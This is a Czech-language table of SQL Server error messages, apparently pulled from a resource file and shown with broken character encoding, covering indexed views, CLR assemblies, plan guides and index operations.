�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e odkazuje na odvozenou tabulku %3!s! (definovanou pY�kazem SELECT v klauzuli FROM). Zva~te odebr�n� odkazu na odvozenou tabulku nebo vynech�n� indexu tohoto zobrazen�.

HNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e obsahuje oper�tor OUTER APPLY. Zva~te vynech�n� indexu tohoto zobrazen� nebo odebr�n� oper�toru OUTER APPLY.

8Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e obsahuje spojen� pomoc� Y�dic� syntaxe standardu ODBC. Zva~te pou~it� syntaxe spojen� standardu ANSI.

HNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e obsahuje vnitYn� spojen�, kter� ud�v� pomocn� parametr spojen�. Zva~te odebr�n� pomocn�ho parametru spojen�.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� spojen� LEFT, RIGHT nebo FULL OUTER a v indexovan�ch zobrazen�ch nejsou vnja� spojen� povolena. Zva~te pou~it� vnitYn�ho spojen�.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� oper�tor PIVOT. Zva~te vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e pou~�v� oper�tor UNPIVOT. Zva~te vynech�n� indexu tohoto zobrazen�.

Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje jeden nebo v�ce oper�toro UNION, INTERSECT nebo EXCEPT. Zva~te vytvoYen� zvl�atn�ho indexovan�ho zobrazen� pro ka~d� dotaz, kter� je vstupem oper�toro UNION, INTERSECT nebo EXCEPT povodn�ho zobrazen�.

Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e zobrazen� pou~�v� k v�bru sloupco oper�tor *. Zva~te odkazovan� na sloupce podle n�zvu.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje klauzuli GROUP BY ALL. Zva~te pou~it� klauzule GROUP BY.

 Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje oper�tor CUBE, ROLLUP nebo GROUPING SETS. Zva~te vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje klauzuli HAVING. Zva~te odebr�n� klauzule HAVING.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e odkazuje na intern� sloupec syst�mu SQL Server.

8Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e pou~�v� agregaci %3!s!. Zva~te odstrann� agregace, vynech�n� indexu tohoto zobrazen�, nebo pou~it� jin�ch agregac�. Pou~ijte napY�klad oper�tory SUM a COUNT_BIG nam�sto oper�toru AVG nebo oper�tor COUNT_BIG nam�sto oper�toru COUNT.

<Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e pou~�v� agregaci %3!s! s kl�
ov�m slovem DISTINCT. Zva~te vynech�n� indexu tohoto zobrazen�, nebo odstrann� kl�
ov�ho slova DISTINCT. Zva~te pou~it� zobrazen� GROUP BY nebo COUNT_BIG(*) k napodoben� seskupen� sloupco funkce DISTINCT.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje jeden nebo v�ce poddotazo. Zva~te zmnu zobrazen�, aby obsahovalo nam�sto poddotazo jen spojen�. PY�padn zva~te vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e pou~�v� fulltextov� predik�t CONTAINS nebo FREETEXT. Zva~te odstrann� predik�tu CONTAINS nebo FREETEXT, nebo vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e odkazuje na vlo~enou nebo v�cepY�kazovou funkci vracej�c� tabulku %3!s!. Zva~te ru
n� roza�Yen� definice funkce v definici zobrazen�, nebo vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e pou~�v� nedeterministickou funkci modulu CLR (Common Language Runtime) vracej�c� tabulku %3!s!. Zva~te vynech�n� indexu tohoto zobrazen�, nebo zmnu zobrazen�, aby nepou~�valo tuto funkci.

pNelze vytvoYit %1!s! zobrazen� %2!s!, proto~e odkazuje na nepYesnou funkci modulu CLR (Common Language Runtime) vracej�c� tabulku %3!s!. Zva~te vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e odkazuje na funkci modulu CLR (Common Language Runtime) vracej�c� tabulku %3!s!. Zva~te odebr�n� odkazu na funkci, nebo vynech�n� indexu tohoto zobrazen�.

(Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e funkce %3!s!, na kterou zobrazen� odkazuje, prov�d� pY�stup k u~ivatelsk�m nebo syst�mov�m datom.

`Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje v�ce ne~ jeden oper�tor APPLY. Zva~te vynech�n� indexu tohoto zobrazen�, nebo pou~it� pouze jednoho oper�toru APPLY.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e pou~�v� agregaci COUNT. Pou~ijte agregaci COUNT_BIG.

Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e odkazuje na v�raz b~n� tabulky %3!s!. Zobrazen� odkazuj�c� na b~n� v�razy tabulek nen� mo~n� indexovat. Zva~te vynech�n� indexu tohoto zobrazen�, nebo odebr�n� spole
n�ho tabulkov�ho v�razu z definice zobrazen�.

|Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e jeho seznam pY�kazu SELECT nezahrnuje spr�vn� pou~it� oper�toru COUNT_BIG. Zva~te pYid�n� oper�toru COUNT_BIG(*) do seznamu pY�kazu SELECT.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e zobrazen� pou~�v� implicitn� pYevod z Yetzce na datov� typ datetime nebo smalldatetime. Pou~ijte explicitn� oper�tor CONVERT s deterministickou hodnotou style.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e zobrazen� obsahuje doporu
en� tabulky. Zva~te odebr�n� doporu
en�.

dNelze vytvoYit %1!s! zobrazen� %2!s!, proto~e odkazuje na rutinu modulu CLR (funkci nebo metodu) %3!s! mimo nekl�
ov� sloupce seznamu pY�kazu SELECT. Znovu vytvoYte nebo upravte zobrazen� tak, aby neodkazovalo na rutiny modulu CLR krom nekl�
ov�ch sloupco seznamu pY�kazu SELECT. Pot� vytvoYte index.

(Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje oper�tor APPLY. Zva~te vynech�n� indexu tohoto zobrazen�, nebo odebr�n� oper�toru APPLY.

tNelze vytvoYit %1!s! zobrazen� %2!s!, proto~e obsahuje hodnotic� nebo agrega
n� odd�lov� funkce. Odeberte funkci z definice zobrazen�, nebo zva~te vynech�n� indexu tohoto zobrazen�.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e pou~�v� funkci CHANGETABLE.

�Nelze vytvoYit %1!s! zobrazen� %2!s!, proto~e odkazuje na sadu zhuatn�ch sloupco. Zobrazen�, kter� obsahuj� sadu zhuatn�ch sloupco, nen� mo~n� indexovat. Zva~te odebr�n� sady zhuatn�ch sloupco ze zobrazen�, nebo vynech�n� indexu tohoto zobrazen�.

@Nelze vytvoYit polo~ku %1!s! v zobrazen� %2!s!, proto~e pou~�v� funkci SEMANTICSIMILARITYTABLE, SEMANTICKEYPHRASETABLE nebo SEMANTICSIMILARITYDETAILSTABLE.

�Nejde vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� do
asnou klauzuli FOR SYSTEM_TIME.

�Nejde vytvoYit %1!s! v zobrazen� %2!s!, proto~e pou~�v� OPENJSON.

,Index obsahuj�c� SNAPSHOT_MATERIALIZATION nejde na zobrazen� %1!s! vytvoYit, proto~e definice zobrazen� obsahuje pameov optimalizovan� tabulky.

�Nejde vytvoYit %1!s! na zobrazen� %2!s!, proto~e odkazuje na skal�rn� u~ivatelem definovanou funkci, kter� je vlo~iteln�.

hU hodnoty NULL typu CLR nelze vyvolat mut�tor.

�Pole %1!s! typu %2!s!.%3!s! nen� mo~n� aktualizovat, proto~e hodnota pole je %4!s!.

�Nelze nal�zt soubor UdtExtensions.dll. Zkontrolujte instalaci.

�Sestaven� %1!s! odkazuje na sestaven� %2!s!, kter� se v aktu�ln� datab�zi nenach�z�. Syst�m SQL Server se pokusil naj�t a automaticky na
�st odkazovan� sestaven� ze stejn�ho um�stn�, odkud poch�z� odkazuj�c� sestaven�, ale tato operace se nezdaYila (dovod: %3!s!). Na
tte odkazovan� sestaven� do aktu�ln� datab�ze a opakujte ~�dost.

�Sestaven� %1!s! odkazuje na sestaven� %2!s!, kter� se v aktu�ln� datab�zi nenach�z�. Syst�m SQL Server se pokusil naj�t a automaticky na
�st odkazovan� sestaven� ze stejn�ho um�stn�, odkud poch�z� odkazuj�c� sestaven�, ale tato operace se nezdaYila (dovod: %3!s!). Na
tte odkazovan� sestaven� do aktu�ln� datab�ze a opakujte ~�dost.

dNelze z�skat cestu syst�mu SQL Server: %1!s!.

\Nelze vytvoYit spr�vce AppDomain: %1!s!.

NepodaYilo se zadat modul Common Language Runtime (CLR) s hodnotou HRESULT 0x%1!s!. Dovodem mo~e b�t nedostatek prostYedko.

�Metoda Init pro funkci modulu CLR vracej�c� tabulku mus� b�t opatYena pozn�mkou atributu SqlFunctionAttribute.

Atribut SqlFunctionAttribute metody Init pro funkci modulu CLR vracej�c� tabulku mus� nastavit vlastnost FillRowMethodName.

�Vlastnost FillRowMethodName atributu SqlFunctionAttribute neobsahuje platn� n�zev metody.

�Spouatn� rozhran� .NET Framework bylo pYeruaeno. Typ UDP/UDF/CLR nevrac� token vl�kna.

�V probhu dotazu %1!s! doalo k chyb pYi pou~�v�n� rozhran� .NET Framework. Server mo~n� nem� dostatek prostYedko. Zkuste dotaz spustit znovu. Pokud pot�~e potrvaj�, obraete se na technickou podporu. %2!s!

�PYi na
�t�n� identifik�toru sestaven� %1!s! doalo k chyb v rozhran� Microsoft .NET Framework. Server nem� dostatek prostYedko, nebo sestaven� nen� dovryhodn�. Spusete dotaz znovu nebo informace o Yeaen� probl�mo s dovryhodnost� sestaven� vyhledejte v dokumentaci. Dala� informace o t�to chyb naleznete zde: %2!s!

�Dom�na aplikace se zadan�m ID verze (%1!s!) byla uvolnna z dovodu pYet�~en� pamti a nebyla nalezena.

�PYi na
�t�n� informac� o verzi souboru %1!s! doalo k chyb.

0Proces %1!s! se nezdaYil, proto~e parametr %2!s! metody %3!s! typu %4!s! je opatYen pozn�mkou nepodporovan�ho atributu System.ParamArrayAttribute.

TVol�n� metody UserDefinedType se nezdaYilo, proto~e parametr %1!s! metody %2!s! typu %3!s! je opatYen pozn�mkou nepodporovan�ho atributu System.ParamArrayAttribute.

\N�zev metody %1!s! je pro %2!s! neplatn�.

�N�zev metody %1!s! je pro vol�n� metody UserDefinedType neplatn�.

\Typ %1!s! nebyl v datab�zi nalezen %2!s!

�Asistent spravovan�ho ladn� rozhran� .NET Framework %1!s! identifikoval neplatn� u~ivatelsk� k�d

Mo~nost WITH ENCRYPTION pY�kazu CREATE TRIGGER lze pou~�t pouze pro aktiva
n� ud�losti T-SQL, nikoli pro aktiva
n� ud�losti CLR.

�Z dovodu pYete
en� z�sobn�ku v nespravovan�m k�du u~ivatele prob�h� vyp�n�n� serveru.

�V datab�zi %2!s! se nemohou vyskytovat dv verze sestaven� %1!s! sou
asn. Jednu verzi zachovejte a druhou vyYate.

�PY�kaz %1!s! ASSEMBLY pro sestaven� %2!s! selhal, proto~e sestaven� %3!s! nen� dovryhodn�. Sestaven� je dovryhodn�, pokud je platn� jedn� z n�sleduj�c�ch mo~nost�: sestava podeps�na certifik�tem nebo asymetrick�m kl�
em, kter� m� odpov�daj�c�ho pYihlaaovac�ho u~ivatele s opr�vnn�m UNSAFE ASSEMBLY, nebo byla sestava ozna
ena za dovryhodnou pomoc� sp_add_trusted_assembly.

�Pro vytvoYen� dom�ny aplikace %1!s! nen� dostate
n� velikost z�sobn�ku.

xSpouatn� rozhran� .NET Framework bylo pYeruaeno. %1!s!

�PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e v dosledku zmny typu %2!s! v aktualizovan�m sestaven� by doalo ke zmn rozlo~en� serializace typu %1!s!. Trval� typy nemohou mnit rozlo~en� serializace.

�Typ %1!s! sestaven� %2!s! je odvozen od obecn�ho typu, kter� pro typ CLR nen� podporov�n.

Sestaven� %1!s! bylo vytvoYeno prostYednictv�m rozhran� .NET Framework, verze %2!s!. Syst�m SQL Server aktu�ln pou~�v� verzi %3!s!.

�NepodaYilo se z�skat rozhran� ICLRAppDomainResourceMonitor z modulu CLR. K�d chyby z modulu CLR byl: 0x%1!s!. V dosledku t�to chyby nebude pro dom�nu AppDomain s ID %2!s! fungovat sledov�n� prostYedko.

�Zmna �rovn kompatibility datab�ze zposobila, ~e data v jednom nebo ve v�ce objektech v datab�zi %1!s! byla ozna
ena jako nezkontrolovan�. Vaechny tyto objekty naleznete ve sloupci has_unchecked_assembly_data v zobrazen�ch sys.tables a sys.views.

�Modul CLR (Common Language Runtime) byl na
ten nepodporovan�m zposobem. K tomu mo~e doj�t, pokud roza�Yen� ulo~en� procedura nebo objekt automatizace OLE spuatn� v syst�mu SQL Server vol� do spravovan�ho k�du dY�ve, ne~ hostitel modulu runtime integrace CLR na
te modul CLR. Pokud chcete pou~�vat integra
n� funkce modulu CLR, bude tYeba restartovat SQL Server.

8Doalo k vnitYn� chyb.

�OvYen� sestaven� se nezdaYilo. Fyzick� soubor %1!s! nelze otevY�t: %2!s!.

�OvYen� sestaven� se nezdaYilo. Z fyzick�ho souboru %1!s! nelze 
�st: %2!s!.

tPY�kaz DROP ASSEMBLY se nezdaYil. K�d chyby: 0x%1!s!.

LSestaven� %1!s! nejde na
�st, proto~e Azure SQL Database nepodporuje sestaven� definovan� u~ivatelem. Pokud m�te dotazy, obraete se na technickou podporu Azure.

�Sestaven� %1!s! najde na
�st, proto~e tato edice syst�mu SQL Server podporuje jen sestaven� SAFE.

LPY�kaz CREATE nebo ALTER ASSEMBLY pro sestaven� %1!s! s mo~nost� SAFE nebo EXTERNAL_ACCESS selhal, proto~e mo~nost  clr strict security  u  sp_configure  je nastaven� na 1. Microsoft doporu
uje podepsat toto sestaven� certifik�tem nebo asymentrick�m kl�
em, kter� m� odpov�daj�c�ho pYihlaaovac�ho u~ivatele s opr�vnn�m UNSAFE ASSEMBLY. Alternativou je ozna
it sestaven� za dovryhodn� pomoc� sp_add_trusted_assembly.

LChyba pY�stupu k intern� tabulce: nepovedl se pY�stup k intern� tabulce dovryhodn�ch sestaven� s chybou HRESULT: 0x%1!s!. Kontaktujte slu~bu podpory z�kazn�ko.

lHodnota hash sestaven� 0x%1!s! je u~ dovryhodn�.

�Hodnota hash sestaven� 0x%1!s! nen� aktu�ln dovryhodn�. Neprovedla se ~�dn� akce.

\Modul CLR nen� na t�to instanci povolen�.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e zadan� typ %2!s! nen� povolen.

<Nelze vytvoYit provodce pl�nem %1!s!, proto~e v�raz zadan� argumenty @stmt a @module_or_batch nebo argumenty @plan_handle a @statement_start_offset odpov�d� existuj�c�mu provodci pl�nem %2!s! v datab�zi. PYed vytvoYen�m nov�ho provodce pl�nem vyYate existuj�c�ho provodce pl�nem.

DOperace %1!s! nen� povolena.

Nelze vytvoYit provodce pl�nem %1!s!, proto~e parametr @hints je nespr�vn�. Pou~ijte N'OPTION ( <query_hint> [ ,...n ] )'.

PNelze vytvoYit provodce pl�nem %1!s!, proto~e zadan� hodnota %2!s! argumentu @module_or_batch nen� platn� dvoud�ln� n�zev. Pou~ijte form�t schema_name.object_name.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e parametr @stmt obsahuje v�ce ne~ jeden v�raz.

8Nelze vytvoYit provodce pl�nem %1!s!, proto~e v�raz zadan� argumenty @stmt a @module_or_batch nebo argumenty @plan_handle a @statement_start_offset neodpov�d� ~�dn�mu v�razu v zadan�m modulu nebo d�vce. Upravte hodnoty tak, aby odpov�daly nkter�mu z v�razo v modulu nebo d�vce.

tNelze prov�st akci %1!s! s provodcem pl�nem %2!s!, proto~e neexistuje nebo nem�te pY�sluan� opr�vnn�. OvYte n�zev provodce pl�nem, datab�zi aktu�ln� relace a po~adovan� opr�vnn�.

0Nelze vytvoYit provodce pl�nem %1!s!, proto~e pY�kaz ur
en� argumentem @stmt nebo @statement_start_offset obsahuje chybu syntaxe, nebo jej nelze v provodci pl�nem pou~�t. Zadejte jeden platn� pY�kaz Transact-SQL nebo platnou po
�te
n� pozici pY�kazu v d�vce. Chcete-li z�skat platnou po
�te
n� pozici, vytvoYte dotaz na sloupec statement_start_offset ve funkci dynamick� spr�vy sys.dm_exec_query_stats.

Nelze vytvoYit provodce pl�nem %1!s!, proto~e v datab�zi se ji~ provodce pl�nem s t�mto n�zvem nach�z�. Pou~ijte jedine
n� n�zev.

\Nelze vytvoYit provodce pl�nem %1!s!, proto~e objekt @module_or_batch je zaaifrov�n. Zva~te optimalizaci dotazu jin�mi technikami, jako napY. pomoc� indexo a statistiky.

�Nelze prov�st akci %1!s! s objektem %2!s! %3!s!, proto~e na nj odkazuje provodce pl�nem %4!s!. Nejprve vyYate provodce pl�nem pomoc� procedury sp_control_plan_guide. Definici provodce pl�nem mo~ete zaznamenat pro budouc� pou~it�.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e modul %2!s! neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e nelze zkompilovat argument @module_or_batch.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e nem�te pY�sluan� opr�vnn�. Akce po~aduje opr�vnn� ke zmn datab�z�.

�Nelze spustit proceduru sp_control_plan_guide, proto~e nem�te opr�vnn� k Y�zen� provodce pl�nem %1!s!. ZmHte opr�vnn� objektu, na kter� provodce pl�nem odkazuje, nebo zmHte po~adovan� opr�vnn� datab�ze.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e pomocn� parametry uveden� v argumentu @hints nelze pro pY�kaz ur
en� argumentem @stmt nebo @statement_start_offset pou~�t. Ujistte se, ~e pomocn� parametry lze pro dan� pY�kaz pou~�t.

LNelze vytvoYit provodce pl�nem %1!s!, proto~e pro parametr @type byla zad�na hodnota %2!s! a pro parametr %3!s! byla zad�na nenulov� hodnota. Tento typ vy~aduje pro parametr hodnotu NULL. Zadejte pro parametr hodnotu NULL, nebo pou~ijte typ, kter� povoluje pro parametr nenulovou hodnotu.

LNelze vytvoYit provodce pl�nem %1!s!, proto~e pro parametr @type byla zad�na hodnota %2!s! a pro parametr %3!s! byla zad�na hodnota NULL. Tento typ vy~aduje pro parametr nenulovou hodnotu. Zadejte pro parametr nenulovou hodnotu, nebo pou~ijte typ, kter� pro parametr povoluje hodnotu NULL.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e argument @hints obsahuje neplatnou hodnotu. Pokud m� argument @type hodnotu template, mus� m�t argument @hints hodnotu OPTION(PARAMETERIZATION FORCED) nebo OPTION(PARAMETERIZATION SIMPLE).

�Nelze vytvoYit aablonu dotazu, proto~e argument @querytext neobsahuje platn� dotaz.

\Argument @querytext nelze parametrizovat.

�Nelze vyYadit objekt %1!s! %2!s!, proto~e na aktiva
n� ud�lost objektu %3!s! odkazuje provodce pl�nem %4!s!. Nejprve vyYate provodce pl�nem pomoc� procedury sp_control_plan_guide. Definici provodce pl�nem mo~ete zaznamenat pro budouc� pou~it�.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e objekt %2!s! je do
asn�.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e jeho n�zev je neplatn�. N�zev provodce pl�nem nemo~e za
�nat znakem #.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e pY�kaz ji~ provodce pl�nem @type template na @stmt s n�zvem %2!s! obsahuje.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e pY�kaz ur
en� argumentem @statement_start_offset neodpov�d� ~�dn�mu pY�kazu v zadan�m modulu nebo d�vce. Zva~te upraven� argumentu @statement_start_offset tak, aby odpov�dal pY�kazu v modulu nebo d�vce.

`Nelze vytvoYit provodce pl�nem %1!s! z mezipamti, proto~e u~ivatel nem� pY�sluan� opr�vnn�. U~ivateli, kter� provodce pl�nem vytv�Y�, udlte opr�vnn� VIEW SERVER STATE.

�Nelze vytvoYit provodce pl�nem %1!s!, proto~e d�vka nebo modul ur
en� argumentem @plan_handle neobsahuje pY�kaz, kter� by byl zposobil� pro provodce pl�nem. Zadejte jinou hodnotu argumentu @plan_handle.

xNelze vytvoYit provodce pl�nem %1!s!, proto~e d�lka n�zvu provodce pl�nem pYesahuje 124 znako, co~ je nejvyaa� povolen� po
et znako. Zadejte n�zev, kter� obsahuje m�n ne~ 125 znako.

dNelze vytvoYit provodce pl�nem %1!s!, proto~e hodnota argumentu @params je neplatn�. Zadejte hodnotu ve form <parameter_name> <parameter_type>, nebo pou~ijte hodnotu NULL.

(Nelze vytvoYit provodce pl�nem %1!s!, proto~e v mezipamti pl�nu, kter� odpov�d� zadan�mu popisova
i pl�nu, nebyl pl�n nalezen. Zadejte popisova
 pl�nu v mezipamti. Seznam popisova
o pl�no v mezipamti z�sk�te dotazem zobrazen� dynamick� spr�vy sys.dm_exec_query_stats.

,Nelze vytvoYit provodce pl�nem %1!s!, proto~e d�vka nebo modul odpov�daj�c� zadan�mu argumentu @plan_handle obsahuje v�ce ne~ 1000 zposobil�ch v�roko. VytvoYte provodce pl�nem pro vaechny v�roky d�vky nebo modulu zad�n�m hodnot statement_start_offset pro jednotliv� v�roky.

�Nelze aktivovat provodce pl�nem %1!s!, proto~e aktivovan� provodce pl�nem %2!s! obsahuje stejn� obor a hodnotu posunut� po
�tku pY�kazu. PYed aktivac� dan�ho provodce pl�nem deaktivujte st�vaj�c�ho provodce pl�nem.

,Provodce pl�nem nebyl nalezen, proto~e hodnota zadan�ho ID provodce pl�nem je NULL nebo neplatn�, nebo nem�te patYi
n� opr�vnn� pro objekt, na kter� provodce pl�nem odkazuje. OvYte, zda je ID provodce pl�nem platn�, zda je aktu�ln� relace nastavena na spr�vn� kontext datab�ze a zda m�te povolen� k pY�kazu ALTER pro objekt, na kter� provodce pl�nem odkazuje, nebo povolen� k pY�kazu ALTER DATABASE.

�Nelze vytvoYit provodce pl�nem %1!s! z mezipamti, proto~e pl�n dotazu pro pY�kaz s hodnotou po
�tku posunut� %2!s! nen� k dispozici. K tomuto probl�mu mo~e doj�t, pokud pY�kaz z�vis� na objektech datab�ze, kter� dosud nebyly vytvoYeny. Ujistte se, ~e vaechny potYebn� objekty datab�ze existuj� a pYed vytvoYen�m provodce pl�nem pY�kaz spusete.

pNelze zadat zahrnut� sloupce clusterovan�ho indexu.

�PY�kazy CREATE/ALTER/DROP INDEX nelze zadat kombinac� star� a nov� syntaxe.

LNelze znovu sestavit clusterovan� index %1!s! zobrazen� %2!s!, proto~e zobrazen� je z�visl� na z�kladn� tabulce %3!s!, jej�~ clusterovan� index %4!s! je zak�z�n.

�Statistiku nelze pYev�st na index pomoc� mo~nosti indexu DROP_EXISTING, pokud byla zad�na i mo~nost indexu ONLINE.

�Nelze deaktivovat index prim�rn�ho kl�
e %1!s! tabulky %2!s!, proto~e tabulka byla publikov�na pro replikaci.

�Nelze deaktivovat clusterovan� index %1!s! zobrazen� %2!s!, proto~e indexovan� zobrazen� bylo publikov�no pro replikaci.

�Clusterovan� index %1!s! tabulky %2!s! nelze deaktivovat, proto~e pro tabulku bylo povoleno sledov�n� zmn. PYed deaktivac� clusterovan�ho indexu zaka~te sledov�n� zmn pro danou tabulku.

Index %1!s! tabulky %2!s! nelze deaktivovat, proto~e pro tabulku bylo povoleno sledov�n� zmn. Sledov�n� zmn vy~aduje omezen� prim�rn�ho kl�
e tabulky a deaktivace indexu omezen� vyYad�. PYed deaktivac� indexu zaka~te sledov�n� zmn pro danou tabulku.

pFiltrovan� objekt %1!s! %2!s! nelze pro tabulku %3!s! vytvoYit, proto~e sloupec %4!s! v�razu filtru je po
�tan� sloupec. PYepiate v�raz filtru tak, aby tento sloupec neobsahoval.

HFiltrovan� index %1!s! nelze pro objekt %2!s! vytvoYit, proto~e objekt nen� u~ivatelsk� tabulka. Filtrovan� indexy jsou podporov�ny jen v pY�pad tabulek. Pokud chcete vytvoYit filtrovan� index zobrazen�, mo~ete vytvoYit indexovan� zobrazen� a zapojit v�raz filtru do definice zobrazen�.

Nelze vytvoYit filtrovan� objekt %1!s! %2!s! pro tabulku %3!s!, proto~e sloupec %4!s! ve v�razu filtru je porovn�v�n s konstantou, kter� m� datov� typ s vyaa� prioritou nebo m� odlianou kolaci. PYeveden� sloupce na datov� typ konstanty nen� podporov�no pro filtrovan� objekt %5!s!. Chcete-li tuto chybu odstranit, explicitn pYevete konstantu na stejn� datov� typ a kolaci jako sloupec %6!s!.

�Nelze vytvoYit filtrovan� objekt %1!s! %2!s! pro tabulku %3!s!, proto~e sloupec %4!s! ve v�razu filtru je porovn�v�n s konstantou, kterou nelze pYev�st na datov� typ sloupce. PYepiate v�raz filtru tak, aby neobsahoval takov� porovn�n�.

`Index %1!s! nelze vytvoYit 
i znovu sestavit. D�lka kl�
e indexu (%2!s! bajto) pYekra
uje maxim�ln� povolenou d�lku pYi pou~it� form�tu �lo~iat Vardecimal (%3!s! bajto).

�Nelze prov�st akci %1!s! s filtrovan�m indexem %2!s! tabulky %3!s!, proto~e pY�kaz nastavuje mo~nost IGNORE_DUP_KEY na hodnotu ON. PYepiate pY�kaz tak, aby mo~nost IGNORE_DUP_KEY nepou~�val.

lFiltrovan� objekt %1!s! %2!s! nelze pro tabulku %3!s! vytvoYit, proto~e datov� typ sloupce %4!s! v�razu filtru je CLR. PYepiate v�raz filtru tak, aby tento sloupec neobsahoval.

�Filtrovan� objekt %1!s! %2!s! nelze pro tabulku %3!s! vytvoYit, proto~e v�raz filtru obsahuje porovn�n� s liter�lovou hodnotou NULL. PYepiate porovn�n� tak, aby testovalo hodnoty NULL pou~it�m oper�toru porovn�n� IS [NOT] NULL.

�Index %1!s! tabulky %2!s! nelze vytvoYit, proto~e sloupec %3!s! v�razu filtru indexu je sada sloupco.

@Objekt %1!s! %2!s! nelze vytvoYit 
i znovu sestavit. Komprimovan� indexy nejsou podporov�ny pro tabulky, kter� obsahuj� zhuatn� sloupce nebo sady sloupco.

pFiltrovanou statistiku %1!s! nelze pro objekt %2!s! vytvoYit, proto~e objekt nen� u~ivatelsk� tabulka. Filtrovan� statistiky jsou podporov�ny jen v pY�pad u~ivatelsk�ch tabulek.

�Datov� typ zadan� pro sloupec %1!s! v�tabulce %2!s! nelze pou~�t jako sloupec v�distribu
n�m kl�
i indexu.

Index %1!s! nelze vytvoYit 
i znovu sestavit. Jedine
n� nebo clusterovan� index ve federovan� tabulce mus� obsahovat federovan� sloupec.

�Index %1!s! nelze vytvoYit. Zobrazen� nelze ve federovan� datab�zi indexovat.

dOnline operace vytv�Yen� indexu je neplatn�.

HPro datab�zi %1!s! nelze prov�st online operaci, proto~e index obsahuje sloupec typu velk�ho objektu a proto~e stejn� transakce obsahuje operace aktualizace prov�dn� pYed touto online operac�. Um�stte online operaci mimo transakci nebo ji um�stte pYed vaechny aktualizace v transakci.

4V optimalizaci nejde pro %1!s! na %2!s!.%3!s! nastavit ignorov�n�, proto~e ho jde pou~�t jenom pro B-strom bez clusterov�n� nebo indexy columnstore.

�Nejde prov�st tuto operaci pro %1!s! s ID %2!s!, proto~e jeden nebo v�c indexo je aktu�ln ve stavu obnoviteln�ho znovuvytvoYen� indexu. Podrobnosti obsahuje sys.index_resumable_operations.

�Operace ALTER INDEX %1!s! selhala. Neexistuje ~�dn� nevyY�zen� obnoviteln� operace s indexem %2!s! pro %3!s!.

Obnoviteln� operace s indexem pro %1!s! %2!s! selhala, proto~e index obsahuje sloupec %3!s! typu timestamp jako kl�
ov� sloupec.

0V optimalizaci nejde pro index na %1!s!.%2!s! nastavit ignorov�n�, proto~e ho jde pou~�t jenom pro indexy u~ivatelem definovan�ch tabulek na disku.

�Operace ALTER INDEX PAUSE selhala. Neexistuje ~�dn� aktivn b~�c� obnoviteln� operace s indexem %1!s! pro %2!s!.

Parametr SNAPSHOT_MATERIALIZATION nejde nastavit pro index %1!s! na %2!s!, proto~e je pou~iteln� jen na indexy na zobrazen�ch.

Parametr SNAPSHOT_MATERIALIZATION nejde nastavit pro %1!s! na %2!s!, proto~e je pou~iteln� jen na clusterovan� indexy na zobrazen�ch.

0Obnoviteln� operace s indexem pro %1!s! %2!s! selhala, proto~e index obsahuje vypo
�tan� sloupec %3!s! jako kl�
ov� nebo dlic� sloupec. Pokud je tohle neclusterovan� index, sloupec bude explicitn zahrnut� jako kl�
ov� sloupec, pokud je sou
�st� kl�
e clusterovan�ho indexu.

�Index %1!s! na zobrazen� %2!s!, kter� m� SNAPSHOT_MATERIALIZATION, nejde zruait pomoc� mo~nosti DROP_EXISTING.

�Index %1!s! na %2!s!, kter� m� SNAPSHOT_MATERIALIZATION, nejde zmnit.

�Nejde nastavit SNAPSHOT_MATERIALIZATION pro rozdlen� index %1!s! na %2!s!.

�Nejde vytvoYit index %1!s! na %2!s! obsahuj�c�m clusterovan� index %3!s! se SNAPSHOT_MATERIALIZATION.

�Aktualizace zobrazen� sn�mku vy~aduje, aby byla na datab�zi povolen� izolace sn�mku.

�Aktualizace zobrazen� sn�mku selhala, proto~e zobrazen� %1!s!.%2!s! neexistuje.

�Aktualizace zobrazen� sn�mku selhala, proto~e %1!s!.%2!s! nen� zobrazen� sn�mku.

TAktualizace zobrazen� sn�mku selhala.

